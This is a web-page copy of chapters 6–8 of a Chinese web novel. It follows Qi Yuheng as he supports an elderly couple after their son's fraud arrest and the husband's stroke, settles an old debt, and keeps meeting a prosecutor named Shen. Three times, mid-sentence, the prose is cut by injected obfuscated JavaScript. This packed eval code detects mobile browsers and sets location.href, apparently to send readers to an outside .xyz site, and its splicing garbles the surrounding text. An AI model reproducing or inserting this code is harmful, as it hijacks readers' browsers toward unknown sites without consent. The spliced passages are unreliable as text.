何秀红听到这话,刚刚止住的眼泪又落了下来。她的眼睛早已经肿了,而她的下眼睑本就有些外翻,如今又因为她反复揉搓眼睛,她的下眼睑红彤彤的,已经出现了细小的裂伤,看着有些可怖。 戚玉衡安抚地拍了拍她的背:“我们自己来拿,到时候您给我们打电话就行。” 年长的民警点点头,没再说什么,而他身旁的年轻民警这时对王晖道:“昨天是我给你打的电话。你觉得我是骗子,把我电话给挂了。” 王晖十分勉强地在脸上扯出个笑:“对不住啊警察同志,真不好意思。” “你们的反诈意识还挺强,挺好的,要是人人都像你们一样,就不会有那么多骗子得手了,”说到这,这年轻民警又笑了笑,“但怎么你们儿子……” 年轻民警没再说下去,但他的未尽之言,戚玉衡和王晖夫妻都懂。戚玉衡看到王晖夫妻的头连着脊背一起低了下去。戚玉衡想,他们现在一定觉得很羞愧,甚至有些耻辱。羞耻感、罪恶感在往后很多年都会像一座看不见的大山一样压在他们头上,让他们的头再也抬不起来。 6. 第 6 章 警察说,王子睿名下已经没有任何房产。于是在离开公安局后,戚玉衡找了一家快捷酒店,将王晖夫妻安顿了下来。他与王晖夫妇约好明天十点来接他们,三人一同去看守所了解情况。 王晖感激地看着他:“小戚,多亏了你。如果没有你,我和你何姨真不知道该怎么办。真是谢谢你。” 戚玉衡摇摇头:“您别这么说。这都是我应该做的,当年要是没有叔叔和阿姨,我就得去睡大街了,您对我说谢就太生分了。” 戚玉衡能感觉得到王晖和何秀红的疲惫,给他们点好了晚餐后便没再在酒店多留。今天是周六,戚玉衡晚上八点要去Resonate的驻唱,现在才下午六点,看时间还来得及,戚玉衡便回星星烘焙取了自己的电动车。 回到星星烘焙的时候,除了牛明星之外的其他人都已经下班了,只有牛明星还留在店里打包快递。戚玉衡一边帮她打包,一边把王子睿的情况说了:“……我觉得现在最重要的就是请个律师,我们见不到子睿哥,也不懂专业上的事。” 牛明星表示赞同:“是,得找个靠谱点的律师,”牛明星说到这,抿了抿唇:“那个,你说你那个子睿哥,骗了别人几百万,这个钱之后肯定得退回给被害人对吧?但他骗了钱肯定不会不花吧?那这个差额,是不是就得叔叔阿姨补上啊?” 戚玉衡表情有些沉重:“我也在想这个问题,不知道这个差额有多少。” “叔叔阿姨之前卖早餐,退休了之后靠什么维持生活啊?请律师应该也得不少钱吧。” “他们两个把家里的地都包出去了,包地的钱虽然不多,但是他们两个人素来节俭,所以足够他们两个人生活的,但这些年应该也没攒下什么钱,”戚玉衡低着头,“我手里也没钱,帮不上忙。 牛明星感觉出戚玉衡情绪不佳,忙安慰道:“诶,车到山前必有路,船到桥头自然直。我记得,经济困难的人可以申请什么援助律师,叔叔阿姨说不定也可以申请呢。” 戚玉衡笑了笑,没再说什么。 帮牛明星打包完快递,戚玉衡便骑着他的小电驴赶往Resonate。路上的时候他感觉兜里的手机震了好几下,似乎是有谁给他发了消息。但因为他还在骑车,便没拿出手机看。到了Resonate后,他打开手机,看到孟思佳先是给他微信转账了五千块,紧接着又发了几条消息: 【没有星期日:这个钱你拿回去】 【没有星期日:不要再给她转账了】 【没有星期日:我之前就跟你说过了,下回我妈再打电话向你要钱你就告诉我,再有下次你一定要告诉我】 戚玉衡回复道: 【戚玉衡:没关系的】 戚玉衡还想继续打字,孟思佳的消息就一条接一条的接连从聊天页面里蹦出来: 【没有星期日:怎么没关系】 【没有星期日:当初欠条上签了多少钱】 【没有星期日:你就该还多少钱】 【没有星期日:你欠我家的钱早还完了】 【没有星期日:欠条我也当你面撕了】 【没有星期日:你不用再给我妈钱了】 【没有星期日:再收你的钱】 【没有星期日:我成什么人了?】 【没有星期日:我不想做贪得无厌的那类人】 【没有星期日:钱你必须收,你不收自动退回后我再转,你再不收我就取现金去你店里找你,该我拿的你不给我也要,不该我拿的我绝对不会收】 【没有星期日:而且我现在一个人能养活我和我妈两个,你不用以为我家现在日子过得有多不容易多可怜】 孟思佳打字速度太快,戚玉衡打的字打完了删删完了打。看孟思佳似乎终于说完了话,戚玉衡才打字回复: 【戚玉衡:我知道你的意思,但比起叔叔的命、阿姨受的伤,我给你的赔偿真的太少了。而且我还你钱的时候,已经距离法院判决很多年了,通货膨胀,钱不值钱了,购买力差很多的,我再给阿姨一些补偿是应当应分的。】 孟思佳很快回复了他: 【没有星期日:你不用跟我说这些】 【没有星期日:我服从法律判决,法院判我们该拿多少钱就拿多少钱】 【没有星期日:该拿的钱我都已经拿到了,再说了你现在很多债没还完吧】 【没有星期日:别的家属也需要赔偿的吧】 【没有星期日:与其把钱花在一个已经得到赔偿金的家庭上,不如把钱给那些还没有拿到赔偿金的家庭上】 【没有星期日:而且我不想要你的钱还有一个原因】 【没有星期日:那件事已经过去十几年了】 【没有星期日:活人的生活总要继续】 【没有星期日:我已经向前看了但我妈没有】 【没有星期日:继续这样下去,她永远都不快乐不幸福,我觉得我妈不再和你联系比较好】 【没有星期日:我已经用我妈的手机把你联系方式拉黑了,你把我妈的联系方式也通通拉黑吧,手机号微信都拉黑】 【没有星期日:我妈再联系你你就联系我】 【没有星期日:把钱收下】 【没有星期日:不要逼我取现金去找你,这样反而会给我添麻烦】 戚玉衡拿着手机在原地站了良久,最终收下了孟思佳的转账,回复了一个“好的”。孟思佳没有再回复他。 戚玉衡整理好情绪,便拿着吉他去唱台调试话筒。他的视线从吧台前扫过,最终定在了一个人身上——他实在很显眼。这位客人穿了一件荧光绿色的外套,这个颜色格外抓人眼球。而他这件荧光绿色的外套上面还有好几条荧光条,孜孜不倦地往外散发着光,在酒吧昏暗的环境下,这件衣服格外引人注目。 戚玉衡有一件工地工人雨天作业时的荧光服,他觉得这位客人穿的衣服和那件荧光服很像。难道这种类型的衣服如今也变为了一种时尚了吗? 戚玉衡刚想收回视线,就见一个女生走到这位显眼的客人右手边一位男客人的身边。她拿着手机,似乎是在向对方索要联系方式。当然,如果这位客人是某位公众人物,她也有可能是要合影的粉丝。但这位男客人并没有拿起手机,转头朝她说了两句话,随后那个女生便面露失望的离开了。 而因为这一个转头,戚玉衡认出了这位男客人的身份,这人是他昨晚载过的那位英俊客人。 好巧啊,没想到不过一天,他们就又相遇了——他单方面的相遇。不知道为什么,低落了一天的戚玉衡感觉自己心情稍稍变好了一些,可以唱一些曲调欢快的歌了。他原本有些打不起精气神,决定今晚除了客人点歌外都唱一些丧系民谣的。 Resonate并不是整晚都营业的酒吧,只营业到凌晨四点,戚玉衡工作的时间则是晚八点到十二点。他结束工作的时候,那位大帅哥客人还在和那位穿荧光绿的客人聊天,看两个人聊天的热络劲,两人应该是关系很不错的朋友。 戚玉衡回到家的时候,时间已经接近凌晨一点了。有些出乎他意料的是,客厅里的灯还亮着,房间里充斥着一股浓浓的螺蛳粉的味道,段俊和高晶一人端着一个小碗,坐在沙发上吃螺蛳粉。盛着螺蛳粉的小电锅放在茶几上,一旁摆着段俊刚刚低价收来的二手ipad,上面正放着综艺节目。两个卧室的灯都关着,孔正文不在,应该是去上夜班了——他工作的电子厂三班倒,孔正文偶尔会上下夜班。 看到戚玉衡回来了,段俊咽下嘴里的螺蛳粉,招呼戚玉衡道:“戚哥,你要不要吃宵夜?今天晚上我突然想吃宵夜了,正好小高也饿了,我们俩就煮了三袋螺蛳粉,还下了不少火锅丸子,锅里还剩不少呢,你来吃一口呗。” 戚玉衡奔波了一天,一天都没怎么好好吃饭,这会确实确实饿得胃不太舒服,于是也没客气,坐下来跟他们一起吃了。吃完螺蛳粉,戚玉衡主动承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406221|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 担了刷锅刷碗的义务,让另外两个人去卫生间洗漱,正好错开三人的洗漱时间。 戚玉衡洗漱完回到房间时,房间的灯虽然关了,但是戚玉衡能看到天花板上有亮光。戚玉衡道:“小段,你还不睡啊?明天早上五点多还起来上班呢,现在睡也就能睡不到四个小时了。” 段俊应了一声:“这就睡了。” 天花板上的亮光消失了。戚玉衡刚想摘助听器,就听段俊道:“戚哥,你说,我继续这么起早贪黑地干,多久能在容州买一个房子啊。” “咱们现在住的房子房价在容州就算很便宜的了,一平米三万多,买一个小户型二十多平的房子的话,一共差不多一百万。” 段俊沉默了一会,说:“那我也得不吃不喝十几年才能挣到啊。” “你非在容州买房做什么?你挣够钱,回你老家孝云买房不好吗?” “我就想留在容州……戚哥,我们家可穷了。虽然我现在也很穷吧,但我小时候,那真的是非常穷非常穷,住的房子是土坯房,茅草顶,下雨天就漏雨,家里连张吃饭的桌子都没有,常年吃不到一口热乎饭,一件衣服穿几个月,没条件洗澡,满身长虱子……我妈受不了穷,跑了,我爸进城打工,我爷身体不好,走三步就得停下脚歇气……我姐七岁就当家,照顾我和我小妹。” “要不是没有学费,我连初中都读不完。我来了容州之后,才知道世界上有这么好的地方,见世面了,长眼界了。戚哥,容州的教育水平高,光985就有三所呢,还有好几所双一流,容州的小孩考这些大学,比别的地方的小孩都容易!我小妹说,她就想考容州的大学……虽然她肯定考不上一本,但考个容州的二本,还是有些希望的。” “我想挣钱买个房子,把我大姐一家接过来,让我外甥、让我的孩子都在容州读书。他们考上了好大学,就不用像我这么辛苦了,不是像我一样在后厨干活,而是坐在大堂里吃东西。” 外地户口的孩子想在容州上学并不容易,但戚玉衡没有提起这个问题扫段俊的兴:“像你说的,不吃不喝攒十年,吃点喝点,攒个二十年,但你不可能永远是个小帮厨对吧?你挣的肯定会越来越多的,你很可能十五年、十二三年就攒够钱了。那时候你才三十岁出头,大好人生才刚刚开始呢。” 段俊笑了一声,随后问:“戚哥,你说你一天天这么辛苦地干,是不是攒下很多钱了啊?” “没有。” “你别忽悠我啊哥,你打两份工、又不怎么花钱,肯定攒不少。你攒钱也是想买房吗?” 戚玉衡一年三百六十五天无休,天天早出晚归。而段俊一天也要工作超过十二个小时,所以虽然段俊已经和戚玉衡同住半年,但互相间的了解都很有限,段俊并不知道戚玉衡复杂的家庭状况。 虽然段俊并不相信他的话,但戚玉衡也没想进一步解释,而是顺着段俊的话道:“不是。” “那你攒钱想干什么啊?” “嗯……” 攒钱……有了能攒下来的钱之后,想做什么呢?戚玉衡从来没想过这个问题。“能攒下属于自己的钱”对于他来说是个很遥远的目标。在星星烘焙的营收情况好起来之前,戚玉衡认为自己到死之前都会一直在还债。在星星烘焙能大量盈利之后,他的经济预期乐观了不少,如果顺利的话,他四十岁的时候大概就可以还清全部债务了。但即便如此,对于戚玉衡来说,“把赚来的钱揣进自己兜里”也是十年后才能实现的事。 十年之后,世界会变成什么样子呢?他又会变成什么样子呢? 戚玉衡想良久,才说:“休息。” 他能攒下钱的时候,就是他可以停下脚步的时候,到那时,他想用钱买下自己的时间。 段俊没有回他话。 戚玉衡侧过头把左耳朝上,屏住呼吸。随后,他的耳朵捕捉到了微弱的呼噜声。段俊已经睡着了。 戚玉衡笑了笑,摘下助听器,也睡了。 7. 第 7 章 第二天上午,在星星烘焙做完上午的活,戚玉衡便马不停蹄地赶到了王晖夫妻住的酒店,三人一起去了定坪区看守所。看守所的警察跟他们说了会见的流程,又给了他们一张单子,上面印着一些关于送进看守所的衣服的要求以及给在押人员存钱的注意事项。 看守所门口有不少给进出看守所的家属递名片的律师,有一些在递完名片之后还会再推销几句自己:“要会见吗?可以来找我,保证价钱公正,一次会见包案情分析的……” 王晖和何秀红在戚玉衡接名片的时候没说话,等到三人坐上了公交车后,坐在前排的何秀红转过头来跟戚玉衡道:“小戚,要不……我们就在这些人里选个律师?让他们先去跟子睿见一面,我想早点跟子睿联系上。” 戚玉衡点点头:“阿姨,一会回到酒店,我就挨个给他们打电话,咨询一下他们的收费标准,”戚玉衡顿了顿,“但是阿姨,我看刚刚这些给我们递名片的律师,年纪都挺轻的,我觉得,他们很可能也是刚开始从事这行的新律师……我担心他们没经验。” “也是,也是,”何秀红点着头,“找律师还是得找老律师、有经验的律师,不能着急不能着急……”何秀红咽了口唾沫:“但小戚,那些有经验的律师,肯定收费也贵吧。” 不等戚玉衡回答,何秀红就自言自语道:“肯定是,厂子里熟练工和新手工工钱都是不不一样的……”何秀红把身子往座位外挪了挪,双手握住了戚玉衡的左手,压低了声音道:“小戚,阿姨现在手里有差不多十万块钱。叔叔阿姨都没文化,法律上的事,叔叔阿姨不懂,也弄不明白。什么样的律师是好律师,我们俩也都不知道……你聪明,你懂得多,找律师这件事,还得麻烦你帮叔叔阿姨参谋。这两天,真是麻烦你了。” 戚玉衡反握住何秀红的手,表情很认真:“何姨,谈什么麻烦不麻烦的。当年我‘麻烦’了你们那么久,你们什么都没说。我做这些都是应该的。子睿哥当年也很照顾我,现在他有难,我帮忙是应该的,一点也不是麻烦。” 何秀红眼睛有点发红,刚想抬手去揉,戚玉衡就按住了她的手:“何姨,别揉了,您眼角都裂了。何姨,您也别太着急,事情已经发生了,咱们能做到的就只有接受。” “之前您跟我说,您和叔叔刚来容州的时候,没有钱租店面,只能推着早餐车卖早餐。有一次,早晨忽然刮起风下起大雨来,把车上的东西都吹下去了,炸好的油条被风卷到天上、卷到地上,您和叔叔追着去捡……您一边捡一边哭。当时那么苦的日子不是也一点点熬过来了吗?苦日子总会熬过去的。您做早餐的时候见过那么多次天亮的样子,这次也一样,总能见到天亮的时候。” 何秀红用力点点头,努力地牵起嘴角笑了笑。 将何秀红和王晖送回酒店,戚玉衡回到了星星烘焙坊。时间正是中午,屋里有股存在感很强的饭香,牛明星正在大堂吃饭,其他人应该也是在烘焙间吃饭。看到他回来,牛明星皱起眉:“我不是跟你说,这几天你就别管店里的事了吗?你这么来回跑,晚上还要再去打工,身体吃得消吗?” “我不回来,下午亦豪他们又得四个人干五个人的活,那我多不好意思。” “有什么不好意思的。你是老板。大不了月末给他们四个每个人发点奖金。” “那还不是从我的钱里面扣啊,我可舍不得。” 牛明星有些气结,她下意识地想说财迷,但她想起戚玉衡的情况,这两个字又说不出口了,她又想说不扣你的钱,但戚玉衡肯定不会接受。最终牛明星撇撇嘴,换了个话题:“吃饭了吗?” “还没。” “赶紧点个外卖吧,今天网单很多呢,下午有你忙的。” 戚玉衡提取到了关键信息,表情很欣喜:“哦?网单很多?那敢情好。” 看戚玉衡心情似乎比昨日好,等戚玉衡点完外卖,牛明星装作不经意的样子道:“说起来,今天又又和嘉璐跟我念叨了好几次呢。” “什么啊?” “你说特别帅的那个帅哥啊,她们说想看他一眼。” “那我也没办法啊,我和他也就是萍水相逢的路人,我也没有他的照片啊。” 牛明星压低声音,幽幽地说:“我也很好奇,到底什么样的人,才会让你一见钟情。” 戚玉衡愣了愣:“什么一见钟情?”想明白牛明星话中的关窍,戚玉衡有些无奈地看向她:“你想到哪去了?我就是单纯欣赏帅哥而已,爱美之人,人皆有之嘛。你难道不喜欢看帅哥?” “但咱们认识这么多年,我是第一次听到你那么称赞一个男人的外貌啊。” “因为长成那样的男人确实很少啊,又不是地里的大白菜,随处可见……说起他,我昨天晚上又遇……看见他了。” “啊?又看见他了?在哪?” “在Resonate,他应该是和他朋友去喝酒。” 牛明星有些激动:“那你们有没有打招呼?” “怎么可能啊?我是什么人啊?载过他的代驾而已,人家很可能都没记住我的脸,我去跟人家打招呼,多唐突?更何况,我为什么要去跟他打招呼啊。” “诶呀,你长得还是很有记忆点的,他八成记得你的脸。你去跟他打个招呼,交换个联系方式,交个朋友多好啊,既然是那么帅的帅哥,摆在朋友圈当个花瓶天天欣赏也是好的啊,笨。”牛明星恨铁不成钢地道。 “所以说,人家为什么要给只见过两面的代驾联系方式啊。他说不定还是个明星呢。我们根本不是一个世界的人。” “好吧,”牛明星有些遗憾,“我是真的很想知道他长什么样。” “也没必要多好奇,总归还是两只眼睛一个鼻子一张嘴。” “哈,我和狗还是两个眼睛一个鼻子一个嘴呢,我们俩一样吗?” 戚玉衡哭笑不得:“……也不能这么比。” 草草吃过午饭,戚玉衡开始按照名片上的电话一个个给律师打电话。虽然戚玉衡早就有对请律师的费用有心理准备,但律师服务费还是高出了他的心理预期。 他咨询了七八个律师,这几个律师中,收费最低的人一次会见费要价三千,收费最高的人一次会见费就要五千,而若是要负责整个侦查阶段的工作,花费在三万到五万不等,若是再负责审查起诉、法院一审阶段的工作,收费还会更高。仅仅是请一位律师,就将花费掉何秀红老两口近些年所有的积蓄。 牛明星也没想到请律师会这么贵:“让律师和里头的人见一面,就得花三五千?怪不得老话说时间就是金钱呢,这时间真是金钱啊。” 但人的心理就是这样,在对一件商品的市场价格有了预估之后,便对低于市场价格的商品有了轻视的心态,认为“便宜没好货”。牛明星刚吐槽完价格贵,话锋一转:“但是别的钱能省,请律师的钱可不能省啊,毕竟关系到你那个哥哥一辈子的事,可不能请太便宜的律师。” 戚玉衡点点头:“嗯。我打算先上网查查资料,再去市里有名的律所咨询一下,再做决定。” 今天戚玉衡的夜间兼职是跑外卖。晚上快八点的时候,戚玉衡抢到了一个配送费很高的订单,收货地址在紫都华府。戚玉衡看到这个地址的时候愣了一下——那个很英俊的客人就住在紫都华府。 但就算他知道这件事,也没想到事情会巧合到这个地步——这单外卖的收货人竟然就是这位客人。而他更没想到的是,这位客人还记得他,并主动跟他搭话。 走出紫都华府的时候,戚玉衡还有些晕晕乎乎的。他想起牛明星今天说过的话,不由得有些想笑。虽说这一次他没有得到这个帅哥的联系方式,但却知道了家庭住址这种比联系方式还要私密的个人信息、他手机号的前三位与后四位、以及他的姓氏。 他姓沈。沈先生。 * 晚上九点半,牛明星洗漱完毕,躺在床上刷手机。因为怀孕之前的她每天早上也要进烘焙间,所以她一贯早睡。怀孕后她不再承担烘焙工作,不用再早起,但她依旧保留了早睡这个好习惯,她九点半就上床,一般十点左右就睡了。 睡前这半个小时的玩手机时间,一般会被牛明星用来刷微信朋友圈——店铺微信的朋友圈。“星星烘焙 Star Bakery”这个微信号里现在有四千多个好友,虽然有不少人会对这个店铺微信设置朋友圈权限,但因为庞大的好友基数,星星烘焙的店铺微信每天依旧能看到成百上千条朋友圈。 牛明星很喜欢看这些陌生人的朋友圈:这些人中,有正在上学的学生,也有上班族,也有全职宝妈;有非常喜欢摄影的人,朋友圈总会发很好看的照片;有工作性质特殊、总是在世界各地出差的人,他的朋友圈里充斥着异国风景;有养了好几只猫的人,她总会在朋友圈里晒猫猫的萌照; ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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牛明星的手指又往下划着,她的视线里出现了一张大合照。刚看清那张大合照,她的手指就下意识地停了下来,但因为惯性,她的手指已经把那张大合照划上去了,她连忙又往下划了两下。 大合照里有一个人很显眼:合照里一共九个人,他站在从左往右数的第二个位置。这个位置算不上什么C位,但有一句话说得好,有的人是哪是C位站在哪,有的人是站在哪哪是C位。这个男人身高很高,比其他八个人都高出一截,长得非常英俊,在这张没有打光、没有滤镜、色调灰黄、摄影师摄影水平也很一般的照片里,他帅得跟身边人好像不是一个次元的。 好帅的素人啊。牛明星正在心里感叹着,突然收到了戚玉衡的微信。牛明星把这张大合照保存,点进了和戚玉衡的聊天界面。 【戚玉衡:星姐,你说巧不巧,我今天送外卖又见到那个很帅的客人了[脸红][脸红]。三天之内我们见了三次。他还记得我,主动跟我打招呼了。可能是觉得上次见面的时候我是个代驾,这次见面却变成外卖骑手了,有点奇怪[捂脸]。】 【戚玉衡:我还给他发了咱们星星烘焙的宣传卡,不知道他有没有加你。我跟他说,跟客服提我名字八八折,所以如果有人加了你、跟你提我名字的话,那就是他,星姐你记得给他打折[愉快][愉快],折扣的钱从我的账上扣就可以[玫瑰]。】 等等,很帅很帅的帅哥、又见到了、发了宣传卡……牛明星把刚才保存的那张照片给戚玉衡发了过去: 【摘星星的人:你见到的那个帅哥,是不是就是这个照片里的帅哥】 戚玉衡先是回复了一个震惊的表情包,随后道: 【戚玉衡:是的,你怎么有他的照片?】 牛明星也有些惊讶: 【摘星星的人:真是他啊!我在他朋友圈看到的图】 【摘星星的人:但不奇怪了,那么帅的素人总不可能一抓一大把吧】 【摘星星的人:这也太巧了】 【摘星星的人:你说的没错,他真的很帅】 【摘星星的人:但也没有比你帅很多啊,你俩不是一赛道的,没法比,都好看】 【摘星星的人:要不你加他微信吧,认识一下交个朋友,他都知道你在星星烘焙的工作了,他也加店铺微信了,你加他个微信,也没什么吧】 过了差不多十分钟,戚玉衡才回复道: 【戚玉衡:看他身上的衣服,他是检察官吗?】 【戚玉衡:不用了,我不想和他做朋友[破涕为笑],我没有那么多时间和精力能用来维系人际关系。】 牛明星盯着最后那个聊天框看了良久,有些无奈地叹了口气,随后打字道: 【摘星星的人:好吧。我睡啦,你好好工作,注意安全】 戚玉衡回了她一个飞吻的表情包。 8. 第 8 章 因为夜间配送费高,挣得多,所以往常戚玉衡都会送外卖送到十二点半左右再回家,但今天因为想回家做做律所的功课,戚玉衡十一点半就结束了骑手的工作。回到家的时候,他另外的三位室友都没睡,三个人站在狭小的客厅里,表情都不是很好看,气氛剑拔弩张。 戚玉衡的视线在三个人脸上打了个转:“……出什么事了?怎么都站在这。” 孔正文看了他一眼,从沙发上拿起自己的外套:“高晶,这日子能过就过,不能过就散!” 随后,孔正文就从戚玉衡身边挤过去,摔上门走了。 孔正文一走,高晶就哭着跑回了自己的房间,留下戚玉衡和段俊大眼瞪小眼。 戚玉衡小声问:“这是怎么了?” 段俊也压低了声音:“最近小高在一个KTV找了个陪唱的工作,正经陪唱,就是陪客人唱唱歌,但是孔正文总是疑神疑鬼的,说小高是去当公主了……前天吵架也是因为这事。今天小高背回来一个包,说是客人送的,孔正文非要小高把那个包还回去,小高不肯,两个人就吵起来了。” 情侣之间的矛盾,戚玉衡不好多评价,只是点点头:“这样啊。” 段俊挠挠头:“他们俩从他们房间吵到客厅,我觉得太吵了就去劝架,孔正文就狠命瞪我,那样子可吓人了,你回来之前我都以为他要动手揍我了。我感觉他有点暴力倾向,也不知道小高和他在一起是图他什么……对了戚哥,你今天怎么这么早就回来了?” 戚玉衡没多说:“感觉有点累,就提早回来了。” 这天晚上,戚玉衡在各个社交平台上收集了一些关于容州有名律所的资讯,打算从明天开始挨个去咨询。 第二天上午,把最后一炉碱水包放入烤箱,戚玉衡便换了衣服打算离开。但他走到门口的时候却被牛明星叫住了:“玉衡玉衡!你看这个。” 牛明星塞给他一张订单小票:“你看这个,那个大帅哥买咱家东西了诶,还买不少呢,你的安利很有效啊。” 戚玉衡看着手里的这张小票:小票上的昵称一栏写着“Shen”,联系人一栏他填的应该是真名,“沈灵均”。 “人长得帅,名字也好听啊,”牛明星感叹着,“沈也是个好听的姓氏啊,”牛明星又拍了拍自己的肚子:“还好还好,我的娃也可以赢在取名起跑线了。” 牛明星父亲姓牛、母亲姓马,牛明星曾调侃道,他们两个的姓氏不好,所以才生出了她这么个做牛做马的娃。因为一直觉得自己的姓氏不好听,牛明星从少女时代就把姓氏好听作为筛选另一半的条件,最终也得偿所愿,找了个姓顾的老公。 “他在市检察院工作啊。”戚玉衡看着收货地址轻声道。 “嗯嗯,我给你发的那张图就是在市检察院公众号上保存下来的。” “他是直接在小程序下单的吗?没有……跟你提我的名字打折之类的?” “对,他直接小程序下单的。没提你名字可能是不好意思吧,有的脸皮薄的人就是这样,跟网上的人说话也会觉得不好意思。” 说不清原因,戚玉衡心中升起一些微妙的失落。 犹豫了一会,戚玉衡在吧台拿了支笔、又撕了张便利贴:“星姐,你别往这个外卖袋里放那种印好的感谢便利贴了,我手写一张吧。” 牛明星忍不住出言打趣:“哦哦哦~为什么给他这么特殊的待遇,手写便利贴啊。” 戚玉衡一边写一边道:“我昨天晚上把宣传卡给他,人家今天就光顾了,还一次性买这么多,是真给面子啊,我想表达一下感谢。” 牛明星本来还想继续调侃,但看着戚玉衡认真的脸,她最终把想说的话咽下去了。 写完便利贴,戚玉衡离开了星星烘焙。他想去咨询的第一家律所就在丰山区,离星星烘焙不算远,他打算骑电动车去。但他刚骑了一半的车程,就接到了何秀红的电话,何秀红在电话里说,今天早上王晖右边的身子就不会动了,说话也说不太清楚。她一开始以为王晖只是这两天太累了,又保持一个姿势睡了太久,压麻了身子。 但两个多小时之后,王晖的情况不仅没有好转,反而更严重了,连话都说不出了。何秀红这时才害怕起来,和王晖一起去了医院,一番检查过后,医生说王晖是脑梗,建议做介入取栓手术,现在人已经被推进了手术室。何秀红心里害怕,这才打电话给他。 戚玉衡立刻调转车头,赶去了何秀红所在的容州市人民医院。他赶到手术室等待区时,王晖的手术已经开始了近一个小时,何秀红坐在等待区最角落的位置,她没有哭,但双目无神,戚玉衡叫了她好几声她才反应过来。 “何姨,医生怎么说?” 何秀红看着戚玉衡,没说话,过了好一会,她跟才认出戚玉衡一样,身体打了个颤,道:“医生说来医院来的及时,手术之后应该就没什么大问题了,但是毕竟是脑梗过了,身体上肯定还是会有些后遗症的……”何秀红越说声音越低:“他有高血压的,很多年了,但是这两天我们脑子都不转了,他没吃降压药,我也忘记这回事了。要是这几天盯着他吃药,可能就没事了。” 戚玉衡忙安慰她:“何姨,你别这么想,叔叔年纪大了,脑梗又是中老年人里常见的疾病,不是说吃降压药就能规避脑梗的。” 何秀红嘴角颤抖着,露出了一个似笑非笑、似哭非哭的表情。多年的辛劳让她比实际的年纪老态许多,脸上有很多皱纹,让她的脸部肌肤像是一张被大力揉皱的纸,她一做表情,纸上的折痕便更深刻。 何秀红用低到戚玉衡有些听不清的声音道:“小戚,你说,子睿他为什么啊?他为什么啊?好好的,他为什么要去诈骗啊?他是为什么啊?好好的工作他不做……他去诈骗,他进去了,让我们两个老的怎么活啊?” 戚玉衡不知道该如何回答这个问题,而他也知道,何秀红也并不是想要从他这里问出个答案,于是他只是一遍遍地抚摸着何秀红的手臂,希望能通过肢体接触给予何秀红些许慰藉。 又过了差不多一个小时,王晖的手术结束了,医生说去ICU观察一天后如果没有大碍便可以转入普通病房,但之后大概还需要住院两周。何秀红听到这话后便询问起医疗费的事,医生帮她粗略算了算,算上手术费和后续的医药费,即使是保守估计,王晖这一次入院的医疗费也要花十万。 王晖没买任何保险,但幸运的是他一直有交新农合,能报销近一半的费用。但即 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14406223|153451||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便如此,王晖的这一次生病也将花费掉他们夫妻俩这些年的大半积蓄。他们这类人就是这样,抗风险的能力差,一阵大风刮过来,人就倒了,钱袋子也摔空了。 虽然王晖现在在ICU,何秀红没法进去陪护,但是因为随时都可能出现突发情况,医生还是建议家属在医院留守。戚玉衡本想自己留在医院让何秀红回酒店休息,但何秀红死活不同意,戚玉衡拗不过她,只能由她。给何秀红租了张陪护床后,戚玉衡便往电梯的方向走,他想去医院附近的超市置办些住院用的生活必需品。 戚玉衡边走边想:给王晖交完医疗费之后,他们夫妻俩的钱是绝对没办法请一个能将王子睿的案子负责到审判阶段的律师的,戚玉衡也不打算让他们夫妻俩掏请律师的钱了——他们两个人总是要生活的,王子睿的案子之后肯定涉及到对被害人的退赔问题,要是一下子把老两口的家底都掏空了,他们以后的生活怎么办? 但戚玉衡自己也没有钱。他向来是个月光族,银行卡余额常年是个位数。如果他想为何秀红夫妻出请律师的钱,这两个月就不能还太多的钱。 戚玉衡一边计算着钱的事,一边顺着人流走进电梯。随后,他感觉有人从背后拍了拍他的手臂:“小戚,小戚。” 电梯里人很多,戚玉衡有些费力地转过身向后看去,发现叫住他的人是徐莲。戚玉衡先是觉得惊讶,随后心里便生出些担忧:“徐奶奶,您怎么在这?您生病了吗?” 徐莲摇摇头:“是你乔爷爷。他最近感觉胸闷胸痛,来医院查了查,医生说是冠心病,要住院搭支架。” “啊,”戚玉衡咽了口唾沫:“爷爷住院的事,乔瑜他……知道吗?” “没告诉他,他工作忙嘛,我们不想打扰他。” “是,是,他工作很忙……” 徐莲这时问:“你呢?你最近还好吗?怎么在医院?” “我一个叔叔因为脑梗住院了,我来医院帮点忙。” 这个时候,电梯下行到了一层,戚玉衡先走出电梯,但他在门口等了一下徐莲:“奶奶,乔爷爷住在哪个病房啊,我……” 他话还没说完,徐莲就打断他道:“你不用去看他。” 戚玉衡闭上了嘴,下意识地抿了抿唇,但很快答道:“好,那我就不去打扰爷爷了。您……您现在是要去哪?” “我去外面买饭。” “那我……” 徐莲再次打断他:“没事,你不用帮忙,我自己去就可以。” “好,好的。” 戚玉衡下意识地把双手都背到身后,用左手指甲一下下扣着右手掌心:“奶奶……我……其实,不在这遇到您,我今天也打算联系您……我这两个月,”戚玉衡越说声音越小,“能先不还您钱吗?” 徐莲看着他,抬起了手,像是要碰他的肩。但那只手最后只是停在了半空中,没落下来。徐莲说:“可以。我们不着急的。” 戚玉衡忙向徐莲鞠了一躬:“谢谢您,谢谢您。” “没事。那我先走了。” 